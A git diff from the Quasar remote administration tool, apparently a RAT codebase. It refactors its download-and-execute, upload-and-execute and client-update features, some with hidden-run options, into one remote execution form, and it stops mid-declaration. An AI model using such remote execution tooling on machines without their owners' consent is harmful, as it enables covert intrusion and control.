-125,27 +124,5 @@ public byte[] Decrypt(byte[] input) } } } - - /// - /// Compares two byte arrays for equality. - /// - /// Byte array to compare - /// Byte array to compare - /// True if equal, else false - /// - /// Assumes that the byte arrays have the same length. - /// This method is safe against timing attacks. - /// - [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] - private bool AreEqual(byte[] a1, byte[] a2) - { - bool result = true; - for (int i = 0; i < a1.Length; ++i) - { - if (a1[i] != a2[i]) - result = false; - } - return result; - } } } diff --git a/Quasar.Common/Cryptography/SafeComparison.cs b/Quasar.Common/Cryptography/SafeComparison.cs new file mode 100644 index 000000000..4ac48975c --- /dev/null +++ b/Quasar.Common/Cryptography/SafeComparison.cs @@ -0,0 +1,29 @@ +using System.Runtime.CompilerServices; + +namespace Quasar.Common.Cryptography +{ + public class SafeComparison + { + /// + /// Compares two byte arrays for equality. + /// + /// Byte array to compare + /// Byte array to compare + /// True if equal, else false + /// + /// Assumes that the byte arrays have the same length. + /// This method is safe against timing attacks. + /// + [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] + public static bool AreEqual(byte[] a1, byte[] a2) + { + bool result = true; + for (int i = 0; i < a1.Length; ++i) + { + if (a1[i] != a2[i]) + result = false; + } + return result; + } + } +} diff --git a/Quasar.Common/IO/FileSplitLegacy.cs b/Quasar.Common/IO/FileSplitLegacy.cs deleted file mode 100644 index 038aa1ac4..000000000 --- a/Quasar.Common/IO/FileSplitLegacy.cs +++ /dev/null @@ -1,167 +0,0 @@ -using System; -using System.IO; - -namespace Quasar.Common.IO -{ - public class FileSplitLegacy - { - private int _maxBlocks; - private readonly object _fileStreamLock = new object(); - private const int MAX_BLOCK_SIZE = 65535; - public string Path { get; } - public string LastError { get; private set; } - - public int MaxBlocks - { - get - { - if (this._maxBlocks > 0 || this._maxBlocks == -1) - return this._maxBlocks; - try - { - FileInfo fInfo = new FileInfo(this.Path); - - if (!fInfo.Exists) - throw new FileNotFoundException(); - - this._maxBlocks = (int)Math.Ceiling(fInfo.Length / (double)MAX_BLOCK_SIZE); - } - catch (UnauthorizedAccessException) - { - this._maxBlocks = -1; - this.LastError = "Access denied"; - } - catch (IOException ex) - { - this._maxBlocks = -1; - - if (ex is FileNotFoundException) - this.LastError = "File not found"; - if (ex is PathTooLongException) - this.LastError = "Path is too long"; - } - - return this._maxBlocks; - } - } - - public FileSplitLegacy(string path) - { - this.Path = path; - } - - private int GetSize(long length) - { - return (length < MAX_BLOCK_SIZE) ? (int)length : MAX_BLOCK_SIZE; - } - - public bool ReadBlock(int blockNumber, out byte[] readBytes) - { - try - { - if (blockNumber > this.MaxBlocks) - throw new ArgumentOutOfRangeException(); - - lock (_fileStreamLock) - { - using (FileStream fStream = File.OpenRead(this.Path)) - { - if (blockNumber == 0) - { - fStream.Seek(0, SeekOrigin.Begin); - var length = fStream.Length - fStream.Position; - if (length < 0) - throw new IOException("negative length"); - readBytes = new byte[this.GetSize(length)]; - fStream.Read(readBytes, 0, readBytes.Length); - } - else - { - fStream.Seek(blockNumber * MAX_BLOCK_SIZE, SeekOrigin.Begin); - var length = fStream.Length - fStream.Position; - if (length < 0) - throw new IOException("negative length"); - readBytes = new byte[this.GetSize(length)]; - fStream.Read(readBytes, 0, readBytes.Length); - } - } - } - - return true; - } - catch (ArgumentOutOfRangeException) - { - readBytes = new byte[0]; - this.LastError = "BlockNumber bigger than MaxBlocks"; - } - catch (UnauthorizedAccessException) - { - readBytes = new byte[0]; - this.LastError = "Access denied"; - } - catch (IOException ex) - { - readBytes = new byte[0]; - - if (ex is FileNotFoundException) - this.LastError = "File not found"; - else if (ex is DirectoryNotFoundException) - this.LastError = "Directory not found"; - else if (ex is PathTooLongException) - this.LastError = "Path is too long"; - else - this.LastError = "Unable to read from File Stream"; - } - - return false; - } - - public bool AppendBlock(byte[] block, int blockNumber) - { - try - { - if (!File.Exists(this.Path) && blockNumber > 0) - throw new FileNotFoundException(); // previous file got deleted somehow, error - - lock (_fileStreamLock) - { - if (blockNumber == 0) - { - using (FileStream fStream = File.Open(this.Path, FileMode.Create, FileAccess.Write)) - { - fStream.Seek(0, SeekOrigin.Begin); - fStream.Write(block, 0, block.Length); - } - - return true; - } - - using (FileStream fStream = File.Open(this.Path, FileMode.Append, FileAccess.Write)) - { - fStream.Seek(blockNumber * MAX_BLOCK_SIZE, SeekOrigin.Begin); - fStream.Write(block, 0, block.Length); - } - } - - return true; - } - catch (UnauthorizedAccessException) - { - this.LastError = "Access denied"; - } - catch (IOException ex) - { - if (ex is FileNotFoundException) - this.LastError = "File not found"; - else if (ex is DirectoryNotFoundException) - this.LastError = "Directory not found"; - else if (ex is PathTooLongException) - this.LastError = "Path is too long"; - else - this.LastError = "Unable to write to File Stream"; - } - - return false; - } - } -} diff --git a/Quasar.Common/Messages/DoClientUpdate.cs b/Quasar.Common/Messages/DoClientUpdate.cs deleted file mode 100644 index 696c0b95a..000000000 --- a/Quasar.Common/Messages/DoClientUpdate.cs +++ /dev/null @@ -1,26 +0,0 @@ -using ProtoBuf; - -namespace Quasar.Common.Messages -{ - [ProtoContract] - public class DoClientUpdate : IMessage - { - [ProtoMember(1)] - public int Id { get; set; } - - [ProtoMember(2)] - public string DownloadUrl { get; set; } - - [ProtoMember(3)] - public string FileName { get; set; } - - [ProtoMember(4)] - public byte[] Block { get; set; } - - [ProtoMember(5)] - public int MaxBlocks { get; set; } - - [ProtoMember(6)] - public int CurrentBlock { get; set; } - } -} diff --git a/Quasar.Common/Messages/DoRemoteExecution.cs b/Quasar.Common/Messages/DoRemoteExecution.cs new file mode 100644 index 000000000..efee4ceea --- /dev/null +++ b/Quasar.Common/Messages/DoRemoteExecution.cs @@ -0,0 +1,17 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoRemoteExecution : IMessage + { + [ProtoMember(1)] + public string DownloadUrl { get; set; } + + [ProtoMember(2)] + public string FilePath { get; set; } + + [ProtoMember(3)] + public bool IsUpdate { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoProcessStart.cs b/Quasar.Common/Messages/DoRemoteExecutionResponse.cs similarity index 54% rename from Quasar.Common/Messages/DoProcessStart.cs rename to Quasar.Common/Messages/DoRemoteExecutionResponse.cs index 1a36f6972..51f59ee63 100644 --- a/Quasar.Common/Messages/DoProcessStart.cs +++ b/Quasar.Common/Messages/DoRemoteExecutionResponse.cs @@ -3,9 +3,9 @@ namespace Quasar.Common.Messages { [ProtoContract] - public class DoProcessStart : IMessage + public class DoRemoteExecutionResponse : IMessage { [ProtoMember(1)] - public string ApplicationName { get; set; } + public bool Success { get; set; } } } diff --git a/Quasar.Common/Messages/DoUploadAndExecute.cs b/Quasar.Common/Messages/DoUploadAndExecute.cs deleted file mode 100644 index d5a7faa53..000000000 --- a/Quasar.Common/Messages/DoUploadAndExecute.cs +++ /dev/null @@ -1,26 +0,0 @@ -using ProtoBuf; - -namespace Quasar.Common.Messages -{ - [ProtoContract] - public class DoUploadAndExecute : IMessage - { - [ProtoMember(1)] - public int Id { get; set; } - - [ProtoMember(2)] - public string FileName { get; set; } - - [ProtoMember(3)] - public byte[] Block { get; set; } - - [ProtoMember(4)] - public int MaxBlocks { get; set; } - - [ProtoMember(5)] - public int CurrentBlock { get; set; } - - [ProtoMember(6)] - public bool RunHidden { get; set; } - } -} diff --git a/Quasar.Common/Messages/DoDownloadAndExecute.cs b/Quasar.Common/Messages/FileTransferComplete.cs similarity index 51% rename from Quasar.Common/Messages/DoDownloadAndExecute.cs rename to Quasar.Common/Messages/FileTransferComplete.cs index 19dfb0b08..8e8eeb2f4 100644 --- a/Quasar.Common/Messages/DoDownloadAndExecute.cs +++ b/Quasar.Common/Messages/FileTransferComplete.cs @@ -3,12 +3,12 @@ namespace Quasar.Common.Messages { [ProtoContract] - public class DoDownloadAndExecute : IMessage + public class FileTransferComplete : IMessage { [ProtoMember(1)] - public string Url { get; set; } + public int Id { get; set; } [ProtoMember(2)] - public bool RunHidden { get; set; } + public string FilePath { get; set; } } } diff --git a/Quasar.Common/Messages/ICommandExecutor.cs b/Quasar.Common/Messages/IMessageProcessor.cs similarity index 65% rename from Quasar.Common/Messages/ICommandExecutor.cs rename to Quasar.Common/Messages/IMessageProcessor.cs index cd5fca0c1..3085e056f 100644 --- a/Quasar.Common/Messages/ICommandExecutor.cs +++ b/Quasar.Common/Messages/IMessageProcessor.cs @@ -1,8 +1,9 @@ -using Quasar.Common.Networking; +using System; +using Quasar.Common.Networking; namespace Quasar.Common.Messages { - public interface IMessageProcessor + public interface IMessageProcessor : IDisposable { bool CanExecute(IMessage message); bool CanExecuteFrom(ISender sender); diff --git a/Quasar.Common/Messages/IProgress.cs b/Quasar.Common/Messages/IProgress.cs deleted file mode 100644 index 125b208cd..000000000 --- a/Quasar.Common/Messages/IProgress.cs +++ /dev/null @@ -1,15 +0,0 @@ -namespace Quasar.Common.Messages -{ - /// - /// Defines a provider for progress updates. - /// - /// The type of progress update value. - public interface IProgress - { - /// - /// Reports a progress update. - /// - /// The value of the updated progress. - void Report(T value); - } -} diff --git a/Quasar.Common/Messages/MessageProcessorBase.cs b/Quasar.Common/Messages/MessageProcessorBase.cs index b2cb6fe0b..7a7aec522 100644 --- a/Quasar.Common/Messages/MessageProcessorBase.cs +++ b/Quasar.Common/Messages/MessageProcessorBase.cs @@ -12,8 +12,7 @@ namespace Quasar.Common.Messages /// Any event handlers registered with the event are invoked through a /// instance chosen when the instance is constructed. /// - /// TODO: .NET 4.5 Change: this can be simplified with .NET 4.5+ --> IProgress{T} in System namespace - public abstract class MessageProcessorBase : IMessageProcessor, IProgress, IDisposable + public abstract class MessageProcessorBase : IMessageProcessor, IProgress { /// /// The synchronization context chosen upon construction. @@ -61,7 +60,7 @@ protected virtual void OnReport(T value) /// Initializes the /// /// - /// If this value is false, the progress callbacks will be invoked on the ThreadPool. + /// If this value is false, the progress callbacks will be invoked on the ThreadPool. /// Otherwise the current SynchronizationContext will be used. /// protected MessageProcessorBase(bool useCurrentContext) @@ -93,14 +92,14 @@ public void Dispose() /// Decides whether this message processor can execute the specified message. /// /// The message to execute. - /// True if the message can be executed by this message processor, otherwise false. + /// True if the message can be executed by this message processor, otherwise false. public abstract bool CanExecute(IMessage message); /// /// Decides whether this message processor can execute messages received from the sender. /// /// The sender of a message. - /// True if this message processor can execute messages from the sender, otherwise false. + /// True if this message processor can execute messages from the sender, otherwise false. public abstract bool CanExecuteFrom(ISender sender); /// diff --git a/Quasar.Server/Build/ClientBuilder.cs b/Quasar.Server/Build/ClientBuilder.cs index f5be4962d..2a3a200b7 100644 --- a/Quasar.Server/Build/ClientBuilder.cs +++ b/Quasar.Server/Build/ClientBuilder.cs @@ -88,6 +88,7 @@ private void WriteSettings(AssemblyDefinition asmDef) var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); // export without private key, very important! byte[] signature; + // https://stackoverflow.com/a/49777672 RSACryptoServiceProvider must be changed with .NET 4.6 using (var csp = (RSACryptoServiceProvider) caCertificate.PrivateKey) { var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key)); diff --git a/Quasar.Server/Forms/FrmDownloadAndExecute.Designer.cs b/Quasar.Server/Forms/FrmDownloadAndExecute.Designer.cs deleted file mode 100644 index b2ffc443a..000000000 --- a/Quasar.Server/Forms/FrmDownloadAndExecute.Designer.cs +++ /dev/null @@ -1,105 +0,0 @@ -namespace Quasar.Server.Forms -{ - partial class FrmDownloadAndExecute - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmDownloadAndExecute)); - this.btnDownloadAndExecute = new System.Windows.Forms.Button(); - this.txtURL = new System.Windows.Forms.TextBox(); - this.lblURL = new System.Windows.Forms.Label(); - this.chkRunHidden = new System.Windows.Forms.CheckBox(); - this.SuspendLayout(); - // - // btnDownloadAndExecute - // - this.btnDownloadAndExecute.Location = new System.Drawing.Point(246, 37); - this.btnDownloadAndExecute.Name = "btnDownloadAndExecute"; - this.btnDownloadAndExecute.Size = new System.Drawing.Size(138, 23); - this.btnDownloadAndExecute.TabIndex = 3; - this.btnDownloadAndExecute.Text = "Download && Execute"; - this.btnDownloadAndExecute.UseVisualStyleBackColor = true; - this.btnDownloadAndExecute.Click += new System.EventHandler(this.btnDownloadAndExecute_Click); - // - // txtURL - // - this.txtURL.Location = new System.Drawing.Point(48, 6); - this.txtURL.Name = "txtURL"; - this.txtURL.Size = new System.Drawing.Size(336, 22); - this.txtURL.TabIndex = 1; - // - // lblURL - // - this.lblURL.AutoSize = true; - this.lblURL.Location = new System.Drawing.Point(12, 9); - this.lblURL.Name = "lblURL"; - this.lblURL.Size = new System.Drawing.Size(30, 13); - this.lblURL.TabIndex = 0; - this.lblURL.Text = "URL:"; - // - // chkRunHidden - // - this.chkRunHidden.AutoSize = true; - this.chkRunHidden.Location = new System.Drawing.Point(48, 41); - this.chkRunHidden.Name = "chkRunHidden"; - this.chkRunHidden.Size = new System.Drawing.Size(106, 17); - this.chkRunHidden.TabIndex = 2; - this.chkRunHidden.Text = "Run file hidden"; - this.chkRunHidden.UseVisualStyleBackColor = true; - // - // FrmDownloadAndExecute - // - this.AcceptButton = this.btnDownloadAndExecute; - this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; - this.ClientSize = new System.Drawing.Size(396, 72); - this.Controls.Add(this.chkRunHidden); - this.Controls.Add(this.lblURL); - this.Controls.Add(this.txtURL); - this.Controls.Add(this.btnDownloadAndExecute); - this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = "FrmDownloadAndExecute"; - this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - this.Text = "Download & Execute []"; - this.Load += new System.EventHandler(this.FrmDownloadAndExecute_Load); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private System.Windows.Forms.Button btnDownloadAndExecute; - private System.Windows.Forms.TextBox txtURL; - private System.Windows.Forms.Label lblURL; - private System.Windows.Forms.CheckBox chkRunHidden; - } -} \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmDownloadAndExecute.cs b/Quasar.Server/Forms/FrmDownloadAndExecute.cs deleted file mode 100644 index 69715f02e..000000000 --- a/Quasar.Server/Forms/FrmDownloadAndExecute.cs +++ /dev/null @@ -1,34 +0,0 @@ -using System; -using System.Windows.Forms; -using Quasar.Server.Helper; - -namespace Quasar.Server.Forms -{ - public partial class FrmDownloadAndExecute : Form - { - public string Url { get; set; } - public bool Hidden { get; set; } - - private readonly int _selectedClients; - - public FrmDownloadAndExecute(int selected) - { - _selectedClients = selected; - InitializeComponent(); - } - - private void btnDownloadAndExecute_Click(object sender, EventArgs e) - { - Url = txtURL.Text; - Hidden = chkRunHidden.Checked; - - this.DialogResult = DialogResult.OK; - this.Close(); - } - - private void FrmDownloadAndExecute_Load(object sender, EventArgs e) - { - this.Text = WindowHelper.GetWindowTitle("Download & Execute", _selectedClients); - } - } -} \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmMain.cs b/Quasar.Server/Forms/FrmMain.cs index 0f7edc67a..14fc4b607 100644 --- a/Quasar.Server/Forms/FrmMain.cs +++ b/Quasar.Server/Forms/FrmMain.cs @@ -12,9 +12,11 @@ using System.IO; using System.Linq; using System.Net.Sockets; +using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates; using System.Threading; using System.Windows.Forms; +using Quasar.Common.Cryptography; namespace Quasar.Server.Forms { @@ -96,6 +98,18 @@ private void InitializeServer() } serverCertificate = new X509Certificate2(Settings.CertificatePath); #endif + /*var str = Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert)); + + var cert2 = new X509Certificate2(Convert.FromBase64String(str)); + var serverCsp = (RSACryptoServiceProvider)serverCertificate.PublicKey.Key; + var connectedCsp = (RSACryptoServiceProvider)new X509Certificate2(cert2).PublicKey.Key; + + var result = serverCsp.ExportParameters(false); + var result2 = connectedCsp.ExportParameters(false); + + var b = SafeComparison.AreEqual(result.Exponent, result2.Exponent) && + SafeComparison.AreEqual(result.Modulus, result2.Modulus);*/ + ListenServer = new QuasarServer(serverCertificate); ListenServer.ServerState += ServerState; ListenServer.ClientConnected += ClientConnected; @@ -443,7 +457,7 @@ private void ShowPopup(Client c) #region "Client Management" - private void elevateClientPermissionsToolStripMenuItem_Click(object sender, EventArgs e) + private void elevateClientPermissionsToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { @@ -453,81 +467,11 @@ private void elevateClientPermissionsToolStripMenuItem_Click(object sender, Even private void updateToolStripMenuItem_Click(object sender, EventArgs e) { - // TODO: Refactor file upload - if (lstClients.SelectedItems.Count != 0) + Client[] clients = GetSelectedClients(); + if (clients.Length > 0) { - using (var frm = new FrmUpdate(lstClients.SelectedItems.Count)) - { - if (frm.ShowDialog() == DialogResult.OK) - { - if (!frm.UseDownload && !File.Exists(frm.UploadPath)) return; - - if (frm.UseDownload) - { - foreach (Client c in GetSelectedClients()) - { - c.Send(new DoClientUpdate - { - Id = 0, - DownloadUrl = frm.DownloadUrl, - FileName = string.Empty, - Block = new byte[0x00], - MaxBlocks = 0, - CurrentBlock = 0 - }); - } - } - else - { - string path = frm.UploadPath; - - new Thread(() => - { - bool error = false; - foreach (Client c in GetSelectedClients()) - { - if (c == null) continue; - if (error) continue; - - var srcFile = new FileSplitLegacy(path); - if (srcFile.MaxBlocks < 0) - { - MessageBox.Show($"Error reading file: {srcFile.LastError}", - "Update aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); - error = true; - break; - } - - int id = FileTransfer.GetRandomTransferId(); - - //SetStatusByClient(this, c, "Uploading file..."); - - for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) - { - byte[] block; - if (!srcFile.ReadBlock(currentBlock, out block)) - { - MessageBox.Show($"Error reading file: {srcFile.LastError}", - "Update aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); - error = true; - break; - } - - c.Send(new DoClientUpdate - { - Id = id, - DownloadUrl = string.Empty, - FileName = string.Empty, - Block = block, - MaxBlocks = srcFile.MaxBlocks, - CurrentBlock = currentBlock - }); - } - } - }).Start(); - } - } - } + FrmRemoteExecution frmRe = new FrmRemoteExecution(clients); + frmRe.Show(); } } @@ -653,85 +597,21 @@ private void registryEditorToolStripMenuItem_Click(object sender, EventArgs e) private void localFileToolStripMenuItem_Click(object sender, EventArgs e) { - // TODO: Refactor file upload - if (lstClients.SelectedItems.Count != 0) + Client[] clients = GetSelectedClients(); + if (clients.Length > 0) { - using (var frm = new FrmUploadAndExecute(lstClients.SelectedItems.Count)) - { - if (frm.ShowDialog() == DialogResult.OK && File.Exists(frm.LocalFilePath)) - { - string path = frm.LocalFilePath; - bool hidden = frm.Hidden; - - new Thread(() => - { - bool error = false; - foreach (Client c in GetSelectedClients()) - { - if (c == null) continue; - if (error) continue; - - var srcFile = new FileSplitLegacy(path); - if (srcFile.MaxBlocks < 0) - { - MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), - "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); - error = true; - break; - } - - int id = FileTransfer.GetRandomTransferId(); - - // SetStatusByClient(this, c, "Uploading file..."); - - for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) - { - byte[] block; - if (srcFile.ReadBlock(currentBlock, out block)) - { - c.SendBlocking(new DoUploadAndExecute - { - Id = id, - FileName = Path.GetFileName(path), - Block = block, - MaxBlocks = srcFile.MaxBlocks, - CurrentBlock = currentBlock, - RunHidden = hidden - }); - } - else - { - MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), - "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); - error = true; - break; - } - } - } - }).Start(); - } - } + FrmRemoteExecution frmRe = new FrmRemoteExecution(clients); + frmRe.Show(); } } private void webFileToolStripMenuItem_Click(object sender, EventArgs e) { - if (lstClients.SelectedItems.Count != 0) + Client[] clients = GetSelectedClients(); + if (clients.Length > 0) { - using (var frm = new FrmDownloadAndExecute(lstClients.SelectedItems.Count)) - { - if (frm.ShowDialog() == DialogResult.OK) - { - foreach (Client c in GetSelectedClients()) - { - c.Send(new DoDownloadAndExecute - { - Url = frm.Url, - RunHidden = frm.Hidden - }); - } - } - } + FrmRemoteExecution frmRe = new FrmRemoteExecution(clients); + frmRe.Show(); } } diff --git a/Quasar.Server/Forms/FrmUpdate.Designer.cs b/Quasar.Server/Forms/FrmRemoteExecution.Designer.cs similarity index 66% rename from Quasar.Server/Forms/FrmUpdate.Designer.cs rename to Quasar.Server/Forms/FrmRemoteExecution.Designer.cs index d25657d4e..5cb040822 100644 --- a/Quasar.Server/Forms/FrmUpdate.Designer.cs +++ b/Quasar.Server/Forms/FrmRemoteExecution.Designer.cs @@ -1,6 +1,6 @@ namespace Quasar.Server.Forms { - partial class FrmUpdate + partial class FrmRemoteExecution { /// /// Required designer variable. @@ -28,11 +28,10 @@ protected override void Dispose(bool disposing) /// private void InitializeComponent() { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmUpdate)); - this.btnUpdate = new System.Windows.Forms.Button(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRemoteExecution)); + this.btnExecute = new System.Windows.Forms.Button(); this.txtURL = new System.Windows.Forms.TextBox(); this.lblURL = new System.Windows.Forms.Label(); - this.lblInformation = new System.Windows.Forms.Label(); this.groupLocalFile = new System.Windows.Forms.GroupBox(); this.btnBrowse = new System.Windows.Forms.Button(); this.txtPath = new System.Windows.Forms.TextBox(); @@ -40,19 +39,23 @@ private void InitializeComponent() this.groupURL = new System.Windows.Forms.GroupBox(); this.radioLocalFile = new System.Windows.Forms.RadioButton(); this.radioURL = new System.Windows.Forms.RadioButton(); + this.lstTransfers = new Quasar.Server.Controls.AeroListView(); + this.hClient = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hStatus = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.chkUpdate = new System.Windows.Forms.CheckBox(); this.groupLocalFile.SuspendLayout(); this.groupURL.SuspendLayout(); this.SuspendLayout(); // - // btnUpdate + // btnExecute // - this.btnUpdate.Location = new System.Drawing.Point(353, 240); - this.btnUpdate.Name = "btnUpdate"; - this.btnUpdate.Size = new System.Drawing.Size(138, 23); - this.btnUpdate.TabIndex = 5; - this.btnUpdate.Text = "Update Client"; - this.btnUpdate.UseVisualStyleBackColor = true; - this.btnUpdate.Click += new System.EventHandler(this.btnUpdate_Click); + this.btnExecute.Location = new System.Drawing.Point(353, 459); + this.btnExecute.Name = "btnExecute"; + this.btnExecute.Size = new System.Drawing.Size(138, 23); + this.btnExecute.TabIndex = 6; + this.btnExecute.Text = "Execute remotely"; + this.btnExecute.UseVisualStyleBackColor = true; + this.btnExecute.Click += new System.EventHandler(this.btnExecute_Click); // // txtURL // @@ -69,16 +72,6 @@ private void InitializeComponent() this.lblURL.Size = new System.Drawing.Size(30, 13); this.lblURL.TabIndex = 0; this.lblURL.Text = "URL:"; - // - // lblInformation - // - this.lblInformation.AutoSize = true; - this.lblInformation.Location = new System.Drawing.Point(12, 231); - this.lblInformation.Name = "lblInformation"; - this.lblInformation.Size = new System.Drawing.Size(306, 26); - this.lblInformation.TabIndex = 4; - this.lblInformation.Text = "Please be sure to use the same settings in your new client.\r\nMake sure the file e" + - "xists."; // // groupLocalFile // @@ -135,10 +128,10 @@ private void InitializeComponent() this.radioLocalFile.Checked = true; this.radioLocalFile.Location = new System.Drawing.Point(12, 12); this.radioLocalFile.Name = "radioLocalFile"; - this.radioLocalFile.Size = new System.Drawing.Size(140, 17); + this.radioLocalFile.Size = new System.Drawing.Size(110, 17); this.radioLocalFile.TabIndex = 0; this.radioLocalFile.TabStop = true; - this.radioLocalFile.Text = "Update from Local File"; + this.radioLocalFile.Text = "Execute local file"; this.radioLocalFile.UseVisualStyleBackColor = true; this.radioLocalFile.CheckedChanged += new System.EventHandler(this.radioLocalFile_CheckedChanged); // @@ -147,33 +140,70 @@ private void InitializeComponent() this.radioURL.AutoSize = true; this.radioURL.Location = new System.Drawing.Point(12, 116); this.radioURL.Name = "radioURL"; - this.radioURL.Size = new System.Drawing.Size(113, 17); + this.radioURL.Size = new System.Drawing.Size(114, 17); this.radioURL.TabIndex = 2; - this.radioURL.Text = "Update from URL"; + this.radioURL.Text = "Execute from URL"; this.radioURL.UseVisualStyleBackColor = true; this.radioURL.CheckedChanged += new System.EventHandler(this.radioURL_CheckedChanged); // - // FrmUpdate + // lstTransfers + // + this.lstTransfers.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.lstTransfers.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.hClient, + this.hStatus}); + this.lstTransfers.FullRowSelect = true; + this.lstTransfers.GridLines = true; + this.lstTransfers.HideSelection = false; + this.lstTransfers.Location = new System.Drawing.Point(12, 220); + this.lstTransfers.Name = "lstTransfers"; + this.lstTransfers.Size = new System.Drawing.Size(479, 233); + this.lstTransfers.TabIndex = 4; + this.lstTransfers.UseCompatibleStateImageBehavior = false; + this.lstTransfers.View = System.Windows.Forms.View.Details; + // + // hClient + // + this.hClient.Text = "Client"; + this.hClient.Width = 302; + // + // hStatus + // + this.hStatus.Text = "Status"; + this.hStatus.Width = 173; + // + // chkUpdate + // + this.chkUpdate.AutoSize = true; + this.chkUpdate.Location = new System.Drawing.Point(180, 463); + this.chkUpdate.Name = "chkUpdate"; + this.chkUpdate.Size = new System.Drawing.Size(167, 17); + this.chkUpdate.TabIndex = 5; + this.chkUpdate.Text = "Update clients with this file"; + this.chkUpdate.UseVisualStyleBackColor = true; + // + // FrmRemoteExecution // - this.AcceptButton = this.btnUpdate; + this.AcceptButton = this.btnExecute; this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; - this.ClientSize = new System.Drawing.Size(503, 275); + this.ClientSize = new System.Drawing.Size(503, 494); + this.Controls.Add(this.chkUpdate); + this.Controls.Add(this.lstTransfers); this.Controls.Add(this.radioURL); this.Controls.Add(this.radioLocalFile); - this.Controls.Add(this.lblInformation); this.Controls.Add(this.groupURL); this.Controls.Add(this.groupLocalFile); - this.Controls.Add(this.btnUpdate); + this.Controls.Add(this.btnExecute); this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = "FrmUpdate"; + this.Name = "FrmRemoteExecution"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "Update []"; - this.Load += new System.EventHandler(this.FrmUpdate_Load); + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRemoteExecution_FormClosing); + this.Load += new System.EventHandler(this.FrmRemoteExecution_Load); this.groupLocalFile.ResumeLayout(false); this.groupLocalFile.PerformLayout(); this.groupURL.ResumeLayout(false); @@ -185,10 +215,9 @@ private void InitializeComponent() #endregion - private System.Windows.Forms.Button btnUpdate; + private System.Windows.Forms.Button btnExecute; private System.Windows.Forms.TextBox txtURL; private System.Windows.Forms.Label lblURL; - private System.Windows.Forms.Label lblInformation; private System.Windows.Forms.GroupBox groupLocalFile; private System.Windows.Forms.TextBox txtPath; private System.Windows.Forms.Label label1; @@ -196,5 +225,9 @@ private void InitializeComponent() private System.Windows.Forms.RadioButton radioLocalFile; private System.Windows.Forms.RadioButton radioURL; private System.Windows.Forms.Button btnBrowse; + private Controls.AeroListView lstTransfers; + private System.Windows.Forms.ColumnHeader hClient; + private System.Windows.Forms.ColumnHeader hStatus; + private System.Windows.Forms.CheckBox chkUpdate; } } \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmRemoteExecution.cs b/Quasar.Server/Forms/FrmRemoteExecution.cs new file mode 100644 index 000000000..a2c0a279e --- /dev/null +++ b/Quasar.Server/Forms/FrmRemoteExecution.cs @@ -0,0 +1,196 @@ +using Quasar.Common.Messages; +using Quasar.Server.Helper; +using Quasar.Server.Messages; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using System; +using System.Collections.Generic; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmRemoteExecution : Form + { + private class RemoteExecutionMessageHandler + { + public FileManagerHandler FileHandler; + public RemoteExecutionHandler ExecutionHandler; + } + + /// + /// The clients which can be used for the remote execution. + /// + private readonly Client[] _clients; + + private readonly List _remoteExecutionMessageHandlers; + + private enum 